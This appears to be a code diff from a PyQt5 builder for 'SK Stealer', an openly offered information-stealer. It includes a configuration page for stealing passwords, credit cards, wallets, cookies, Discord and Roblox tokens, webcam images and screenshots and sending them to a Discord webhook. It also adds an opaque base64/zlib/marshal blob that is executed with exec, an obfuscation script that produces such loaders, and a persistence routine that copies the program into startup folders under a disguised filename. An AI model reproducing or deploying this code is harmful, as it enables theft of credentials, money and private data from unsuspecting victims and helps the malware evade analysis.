||||
self.build_window.add_log("")
|
||||
self.build_window.add_log(message)
|
||||
self.build_window.finish()
|
||||
|
||||
# Reabilita botão
|
||||
self.build_button.setEnabled(True)
|
||||
self.build_button.setText("Start Build")
|
||||
|
||||
# Limpa thread
|
||||
self.build_thread = None
|
||||
@@ -0,0 +1,106 @@
|
||||
from PyQt5.QtWidgets import (
|
||||
QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
|
||||
QLabel, QPushButton, QFrame
|
||||
)
|
||||
from PyQt5.QtCore import Qt, QPoint
|
||||
from PyQt5.QtGui import QFont, QIcon
|
||||
from src.styles import MAIN_STYLE, TOPBAR_STYLE, close_btn_style
|
||||
|
||||
|
||||
class CustomMessageBox(QMainWindow):
|
||||
def __init__(self, icon: str, title: str, message: str):
|
||||
super().__init__()
|
||||
self.setWindowIcon(QIcon("./logos/sk_logo.png"))
|
||||
self.setWindowTitle(title)
|
||||
self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)
|
||||
self.setGeometry(500, 250, 300, 150)
|
||||
self.setStyleSheet(MAIN_STYLE)
|
||||
self.setAttribute(Qt.WA_TranslucentBackground, False)
|
||||
|
||||
self.dragging = False
|
||||
self.offset = QPoint()
|
||||
|
||||
main_widget = QWidget()
|
||||
main_layout = QVBoxLayout()
|
||||
main_layout.setContentsMargins(0, 0, 0, 0)
|
||||
main_layout.setSpacing(0)
|
||||
|
||||
top_bar = self.create_top_bar(icon, title)
|
||||
|
||||
body = QFrame()
|
||||
body_layout = QVBoxLayout()
|
||||
body_layout.setContentsMargins(20, 20, 20, 20)
|
||||
|
||||
msg_label = QLabel(message)
|
||||
msg_label.setWordWrap(True)
|
||||
msg_label.setAlignment(Qt.AlignCenter)
|
||||
msg_label.setStyleSheet("color: #eee; font-size: 13px;")
|
||||
|
||||
ok_button = QPushButton("OK")
|
||||
ok_button.setStyleSheet("""
|
||||
QPushButton {
|
||||
background-color: #ff4444;
|
||||
color: white;
|
||||
border-radius: 6px;
|
||||
padding: 6px 14px;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #ff6666;
|
||||
}
|
||||
""")
|
||||
ok_button.clicked.connect(self.close)
|
||||
|
||||
body_layout.addWidget(msg_label)
|
||||
body_layout.addWidget(ok_button, alignment=Qt.AlignCenter)
|
||||
body.setLayout(body_layout)
|
||||
|
||||
main_layout.addWidget(top_bar)
|
||||
main_layout.addWidget(body)
|
||||
|
||||
main_widget.setLayout(main_layout)
|
||||
self.setCentralWidget(main_widget)
|
||||
|
||||
def create_top_bar(self, icon: str, title: str):
|
||||
top_bar = QFrame()
|
||||
top_bar.setFixedHeight(35)
|
||||
top_bar.setStyleSheet(TOPBAR_STYLE)
|
||||
|
||||
top_bar.mousePressEvent = self.mousePressEvent
|
||||
top_bar.mouseMoveEvent = self.mouseMoveEvent
|
||||
top_bar.mouseReleaseEvent = self.mouseReleaseEvent
|
||||
|
||||
top_layout = QHBoxLayout()
|
||||
top_layout.setContentsMargins(15, 0, 10, 0)
|
||||
top_layout.setSpacing(10)
|
||||
|
||||
icon_label = QLabel(icon)
|
||||
icon_label.setStyleSheet("color: #ff4444; font-size: 16px;")
|
||||
|
||||
title = QLabel(title)
|
||||
title.setFont(QFont("Segoe UI", 10, QFont.Bold))
|
||||
title.setStyleSheet("color: #e0e0e0;")
|
||||
|
||||
top_layout.addWidget(icon_label)
|
||||
top_layout.addWidget(title)
|
||||
top_layout.addStretch()
|
||||
|
||||
btn_close = QPushButton("🔴")
|
||||
btn_close.setStyleSheet(close_btn_style)
|
||||
btn_close.clicked.connect(self.close)
|
||||
|
||||
top_layout.addWidget(btn_close)
|
||||
top_bar.setLayout(top_layout)
|
||||
return top_bar
|
||||
|
||||
|
||||
def mousePressEvent(self, event):
|
||||
if event.button() == Qt.LeftButton:
|
||||
self.dragging = True
|
||||
self.offset = event.globalPos() - self.frameGeometry().topLeft()
|
||||
|
||||
def mouseMoveEvent(self, event):
|
||||
if self.dragging:
|
||||
self.move(event.globalPos() - self.offset)
|
||||
|
||||
def mouseReleaseEvent(self, event):
|
||||
self.dragging = False
|
||||
@@ -0,0 +1,151 @@
|
||||
import re
|
||||
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QLabel,
|
||||
QCheckBox, QGroupBox, QScrollArea, QLineEdit, QPushButton
|
||||
)
|
||||
from PyQt5.QtCore import Qt
|
||||
from PyQt5.QtGui import QFont
|
||||
|
||||
from src.styles import webhook_group_style, SCROLL_STYLE
|
||||
from src.pages.message_box import CustomMessageBox
|
||||
from src.functions.tools import Tools
|
||||
|
||||
class OptionsPage(QWidget):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
main_layout = QVBoxLayout()
|
||||
main_layout.setContentsMargins(30, 30, 30, 30)
|
||||
|
||||
title = QLabel("Stealer Configuration")
|
||||
title.setFont(QFont("Segoe UI", 18, QFont.Bold))
|
||||
title.setStyleSheet("color: #ff4444; margin-bottom: 10px;")
|
||||
|
||||
webhook_group = QGroupBox("Webhook Configuration")
|
||||
webhook_group.setStyleSheet(webhook_group_style)
|
||||
|
||||
webhook_layout = QHBoxLayout()
|
||||
webhook_layout.setContentsMargins(15, 20, 15, 15)
|
||||
|
||||
self.webhook_input = QLineEdit()
|
||||
self.webhook_input.setPlaceholderText("Enter webhook URL...")
|
||||
self.webhook_input.setMinimumHeight(35)
|
||||
|
||||
test_btn = QPushButton("verify")
|
||||
test_btn.setObjectName("testButton")
|
||||
test_btn.setFixedSize(80, 35)
|
||||
test_btn.clicked.connect(self.check_webhook)
|
||||
|
||||
webhook_layout.addWidget(self.webhook_input)
|
||||
webhook_layout.addWidget(test_btn)
|
||||
webhook_group.setLayout(webhook_layout)
|
||||
|
||||
scroll = QScrollArea()
|
||||
scroll.setWidgetResizable(True)
|
||||
scroll.setStyleSheet(SCROLL_STYLE)
|
||||
|
||||
|
||||
scroll_content = QWidget()
|
||||
scroll_layout = QVBoxLayout()
|
||||
scroll_layout.setSpacing(20)
|
||||
|
||||
stealer_group = self.create_checkbox_group(
|
||||
"Stealer Options",
|
||||
[
|
||||
"System Info", "Credit Cards",
|
||||
"Game Launchers", "Passwords", "Extensions",
|
||||
"Wallets", "Cookies", "Files",
|
||||
"Apps", "History", "Webcam",
|
||||
"Roblox Cookies", "Downloads", "Screenshot",
|
||||
"Discord Tokens"
|
||||
]
|
||||
)
|
||||
|
||||
malware_group = self.create_checkbox_group(
|
||||
"Malware Options",
|
||||
[
|
||||
"Anti VM/Debug",
|
||||
"Anti-Tamper",
|
||||
"Startup",
|
||||
]
|
||||
)
|
||||
|
||||
scroll_layout.addWidget(stealer_group)
|
||||
scroll_layout.addWidget(malware_group)
|
||||
scroll_layout.addStretch()
|
||||
|
||||
scroll_content.setLayout(scroll_layout)
|
||||
scroll.setWidget(scroll_content)
|
||||
|
||||
main_layout.addWidget(title)
|
||||
main_layout.addWidget(webhook_group)
|
||||
main_layout.addWidget(scroll)
|
||||
|
||||
self.setLayout(main_layout)
|
||||
|
||||
def create_checkbox_group(self, title, options):
|
||||
group = QGroupBox(title)
|
||||
group.checkboxes = []
|
||||
group.setStyleSheet("""
|
||||
QGroupBox {
|
||||
font-size: 14px;
|
||||
font-weight: bold;
|
||||
color: #ff4444;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 6px;
|
||||
margin-top: 10px;
|
||||
padding-top: 15px;
|
||||
}
|
||||
QGroupBox::title {
|
||||
subcontrol-origin: margin;
|
||||
left: 10px;
|
||||
padding: 0 5px;
|
||||
}
|
||||
""")
|
||||
|
||||
layout = QVBoxLayout()
|
||||
layout.setContentsMargins(15, 20, 15, 15)
|
||||
layout.setSpacing(12)
|
||||
|
||||
grid_layout = QHBoxLayout()
|
||||
columns = [QVBoxLayout() for _ in range(3)]
|
||||
|
||||
for i, option in enumerate(options):
|
||||
checkbox = QCheckBox(option)
|
||||
group.checkboxes.append(checkbox)
|
||||
columns[i % 3].addWidget(checkbox)
|
||||
|
||||
for col in columns:
|
||||
col.addStretch()
|
||||
grid_layout.addLayout(col)
|
||||
|
||||
layout.addLayout(grid_layout)
|
||||
group.setLayout(layout)
|
||||
|
||||
return group
|
||||
|
||||
def get_selected_options(self):
|
||||
selected = []
|
||||
for group in self.findChildren(QGroupBox):
|
||||
if hasattr(group, "checkboxes"):
|
||||
for cb in group.checkboxes:
|
||||
if cb.isChecked():
|
||||
selected.append(cb.text())
|
||||
return selected
|
||||
|
||||
def check_webhook(self):
|
||||
webhook_url = self.webhook_input.text().strip()
|
||||
pattern = r"^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]+$"
|
||||
if not re.match(pattern, webhook_url):
|
||||
box = CustomMessageBox("😈", "Error", "Invalid Discord Webhook!")
|
||||
box.show()
|
||||
return
|
||||
|
||||
r = Tools.send_webhook(webhook_url)
|
||||
if r[0]:
|
||||
box = CustomMessageBox("😈", "Successfully", r[1])
|
||||
box.show()
|
||||
return
|
||||
@@ -0,0 +1,53 @@
|
||||
from PyQt5.QtWidgets import QLabel, QVBoxLayout, QWidget, QGraphicsOpacityEffect
|
||||
from PyQt5.QtGui import QFont
|
||||
from PyQt5.QtCore import Qt, QPropertyAnimation, QEasingCurve, QTimer
|
||||
from src.styles import MAIN_STYLE
|
||||
|
||||
class SplashScreen(QWidget):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)
|
||||
self.setAttribute(Qt.WA_TranslucentBackground)
|
||||
|
||||
self.setGeometry(95, 50, 1100, 620)
|
||||
|
||||
# Container
|
||||
layout = QVBoxLayout(self)
|
||||
|
||||
# Fundo estiloso
|
||||
self.setStyleSheet(MAIN_STYLE)
|
||||
|
||||
# Texto
|
||||
self.text = QLabel("SK Stealer by @CirqueiraDev")
|
||||
self.text.setAlignment(Qt.AlignCenter)
|
||||
self.text.setFont(QFont("Segoe UI", 16, QFont.Bold))
|
||||
|
||||
layout.addWidget(self.text)
|
||||
|
||||
# Fade effect
|
||||
self.opacity_effect = QGraphicsOpacityEffect(self)
|
||||
self.setGraphicsEffect(self.opacity_effect)
|
||||
|
||||
self.anim = QPropertyAnimation(self.opacity_effect, b"opacity")
|
||||
self.anim.setDuration(300)
|
||||
self.anim.setStartValue(0)
|
||||
self.anim.setEndValue(1)
|
||||
self.anim.setEasingCurve(QEasingCurve.InOutQuad)
|
||||
|
||||
self.anim.finished.connect(self.fade_out)
|
||||
|
||||
def start(self):
|
||||
self.show()
|
||||
self.anim.start()
|
||||
|
||||
def fade_out(self):
|
||||
QTimer.singleShot(1200, self._start_fade_out)
|
||||
|
||||
def _start_fade_out(self):
|
||||
self.anim2 = QPropertyAnimation(self.opacity_effect, b"opacity")
|
||||
self.anim2.setDuration(1000)
|
||||
self.anim2.setStartValue(1)
|
||||
self.anim2.setEndValue(0)
|
||||
self.anim2.setEasingCurve(QEasingCurve.InOutQuad)
|
||||
self.anim2.finished.connect(self.close)
|
||||
self.anim2.start()
|
||||
@@ -0,0 +1,236 @@
|
||||
control_btn_style = """
|
||||
QPushButton {
|
||||
text-align: center;
|
||||
background-color: transparent;
|
||||
color: #999;
|
||||
border: none;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
padding: 0px;
|
||||
min-width: 45px;
|
||||
max-width: 45px;
|
||||
min-height: 35px;
|
||||
max-height: 35px;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #1a1a1a;
|
||||
color: #fff;
|
||||
}
|
||||
"""
|
||||
|
||||
close_btn_style = """
|
||||
QPushButton {
|
||||
text-align: center;
|
||||
background-color: transparent;
|
||||
color: #999;
|
||||
border: none;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
padding: 0px;
|
||||
min-width: 45px;
|
||||
max-width: 45px;
|
||||
min-height: 35px;
|
||||
max-height: 35px;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #ff4444;
|
||||
color: #fff;
|
||||
}
|
||||
"""
|
||||
|
||||
webhook_group_style = """
|
||||
QGroupBox {
|
||||
font-size: 14px;
|
||||
font-weight: bold;
|
||||
color: #ff4444;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 6px;
|
||||
margin-top: 10px;
|
||||
padding-top: 15px;
|
||||
}
|
||||
QGroupBox::title {
|
||||
subcontrol-origin: margin;
|
||||
left: 10px;
|
||||
padding: 0 5px;
|
||||
}
|
||||
"""
|
||||
|
||||
SCROLL_STYLE = """
|
||||
QScrollArea {
|
||||
border: none;
|
||||
}
|
||||
|
||||
QScrollBar:vertical {
|
||||
background: #181818;
|
||||
width: 8px;
|
||||
margin: 0px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
QScrollBar::handle:vertical {
|
||||
background: #ff4444;
|
||||
min-height: 25px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
QScrollBar::handle:vertical:hover {
|
||||
background: #ff6666;
|
||||
}
|
||||
|
||||
QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical {
|
||||
width: 0;
|
||||
height: 0;
|
||||
background: none;
|
||||
border: none;
|
||||
}
|
||||
|
||||
QScrollBar::sub-line:vertical, QScrollBar::add-line:vertical {
|
||||
height: 0px;
|
||||
background: none;
|
||||
border: none;
|
||||
}
|
||||
|
||||
QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical {
|
||||
background: none;
|
||||
}
|
||||
"""
|
||||
|
||||
TOPBAR_STYLE = """
|
||||
QFrame {
|
||||
background-color: #0a0a0a;
|
||||
border-bottom: 1px solid #1a1a1a;
|
||||
}
|
||||
"""
|
||||
|
||||
SIDEBAR_STYLE = """
|
||||
background-color: #0f0f0f;
|
||||
border-right: 1px solid #1a1a1a;
|
||||
"""
|
||||
|
||||
MAIN_STYLE = """
|
||||
QWidget {
|
||||
background-color: #0a0a0a;
|
||||
color: #e0e0e0;
|
||||
font-family: 'Segoe UI';
|
||||
}
|
||||
QPushButton {
|
||||
background-color: transparent;
|
||||
border: none;
|
||||
color: #bbb;
|
||||
font-size: 14px;
|
||||
padding: 12px 16px;
|
||||
text-align: left;
|
||||
border-radius: 4px;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #1a1a1a;
|
||||
color: #ff4444;
|
||||
}
|
||||
QPushButton#active {
|
||||
background-color: #1a1a1a;
|
||||
color: #ff4444;
|
||||
border-left: 3px solid #ff4444;
|
||||
}
|
||||
QLabel {
|
||||
font-size: 14px;
|
||||
}
|
||||
QCheckBox {
|
||||
color: #e0e0e0;
|
||||
font-size: 13px;
|
||||
spacing: 8px;
|
||||
}
|
||||
QCheckBox::indicator {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 2px solid #ff4444;
|
||||
border-radius: 3px;
|
||||
background-color: transparent;
|
||||
}
|
||||
QCheckBox::indicator:checked {
|
||||
background-color: #ff4444;
|
||||
border: 2px solid #ff4444;
|
||||
}
|
||||
QCheckBox::indicator:hover {
|
||||
border: 2px solid #ff6666;
|
||||
}
|
||||
QLineEdit {
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
padding: 8px;
|
||||
color: #e0e0e0;
|
||||
font-size: 13px;
|
||||
}
|
||||
QLineEdit:focus {
|
||||
border: 1px solid #ff4444;
|
||||
}
|
||||
QComboBox {
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
padding: 8px;
|
||||
color: #e0e0e0;
|
||||
font-size: 13px;
|
||||
}
|
||||
QComboBox:hover {
|
||||
border: 1px solid #ff4444;
|
||||
}
|
||||
QComboBox::drop-down {
|
||||
border: none;
|
||||
padding-right: 8px;
|
||||
}
|
||||
QComboBox::down-arrow {
|
||||
image: none;
|
||||
border-left: 5px solid transparent;
|
||||
border-right: 5px solid transparent;
|
||||
border-top: 5px solid #ff4444;
|
||||
}
|
||||
QComboBox QAbstractItemView {
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #2a2a2a;
|
||||
selection-background-color: #ff4444;
|
||||
color: #e0e0e0;
|
||||
}
|
||||
QPushButton#buildButton {
|
||||
text-align: center;
|
||||
background-color: #ff4444;
|
||||
color: white;
|
||||
font-size: 14px;
|
||||
font-weight: bold;
|
||||
padding: 12px 24px;
|
||||
border-radius: 6px;
|
||||
}
|
||||
QPushButton#buildButton:hover {
|
||||
|
||||
background-color: #ff6666;
|
||||
}
|
||||
QPushButton#buildButton:pressed {
|
||||
background-color: #cc3333;
|
||||
}
|
||||
QPushButton#iconButton {
|
||||
background-color: #1a1a1a;
|
||||
border: 1px solid #2a2a2a;
|
||||
color: #bbb;
|
||||
padding: 8px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
QPushButton#iconButton:hover {
|
||||
border: 1px solid #ff4444;
|
||||
color: #e0e0e0;
|
||||
}
|
||||
QPushButton#testButton {
|
||||
background-color: #00aa44;
|
||||
color: white;
|
||||
font-size: 13px;
|
||||
font-weight: bold;
|
||||
padding: 10px 20px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
QPushButton#testButton:hover {
|
||||
background-color: #00cc55;
|
||||
}
|
||||
QScrollArea {
|
||||
border: none;
|
||||
background-color: transparent;
|
||||
}
|
||||
"""
|
||||
@@ -0,0 +1,8 @@
|
||||
|
||||
import base64, marshal
|
||||
import zlib
|
||||
a='eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs='
|
||||
b=base64.b64decode(a)
|
||||
b=zlib.decompress(b)
|
||||
c=marshal.loads(b)
|
||||
exec(c)
|
||||
@@ -0,0 +1,52 @@
|
||||
# pyinstaller --onefile --noconsole --icon=app.ico --add-data "config.json;." main.py
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import marshal
|
||||
import zlib
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
LOADER_TEMPLATE = '''
|
||||
import base64, marshal
|
||||
{decompress_import}
|
||||
a={b64!s}
|
||||
b=base64.b64decode(a)
|
||||
{maybe_decompress}
|
||||
c=marshal.loads(b)
|
||||
exec(c)
|
||||
'''
|
||||
|
||||
def obfuscate_file(input_path: Path, output_path: Path, compress: bool = False):
|
||||
src = input_path.read_text(encoding="utf-8")
|
||||
code_obj = compile(src, str(input_path), "exec")
|
||||
|
||||
data = marshal.dumps(code_obj)
|
||||
|
||||
if compress:
|
||||
data = zlib.compress(data)
|
||||
b64 = base64.b64encode(data).decode("ascii")
|
||||
loader = LOADER_TEMPLATE.format(
|
||||
b64=repr(b64),
|
||||
decompress_import="import zlib" if compress else "",
|
||||
maybe_decompress="b=zlib.decompress(b)" if compress else ""
|
||||
)
|
||||
output_path.write_text(loader, encoding="utf-8")
|
||||
print(f"Ofuscado gerado: {output_path} (compress={compress})")
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(description="Ofusca um arquivo .py usando marshal+base64 (opção zlib).")
|
||||
p.add_argument("input", help="Arquivo .py de entrada")
|
||||
p.add_argument("-o", "--output", help="Arquivo .py de saída (padrão: ofuscado_<input>)")
|
||||
p.add_argument("--compress", action="store_true", help="Aplicar zlib.compress antes do base64 (recomendado)")
|
||||
args = p.parse_args()
|
||||
|
||||
inp = Path(args.input)
|
||||
if not inp.exists():
|
||||
print("Arquivo de entrada não encontrado:", inp, file=sys.stderr)
|
||||
sys.exit(2)
|
||||
out = Path(args.output) if args.output else inp.with_name(f"ofuscado_{inp.name}")
|
||||
obfuscate_file(inp, out, compress=args.compress)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,28 @@
|
||||
def _startup():
|
||||
startup = False
|
||||
|
||||
try:
|
||||
file_path = os.path.abspath(sys.argv[0])
|
||||
|
||||
if file_path.endswith(".exe"):
|
||||
ext = "exe"
|
||||
elif file_path.endswith(".py"):
|
||||
ext = "py"
|
||||
|
||||
new_name = f"ㅤ.{ext}"
|
||||
|
||||
if sys.platform.startswith('win'):
|
||||
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
|
||||
elif sys.platform.startswith('darwin'):
|
||||
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
|
||||
elif sys.platform.startswith('linux'):
|
||||
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
|
||||
path_new_file = os.path.join(folder, new_name)
|
||||
|
||||
shutil.copy(file_path, path_new_file)
|
||||
os.chmod(path_new_file, 0o777)
|
||||
return startup
|
||||
except:
|
||||
startup = False
|
||||
pass
|
||||
return startup
|
||||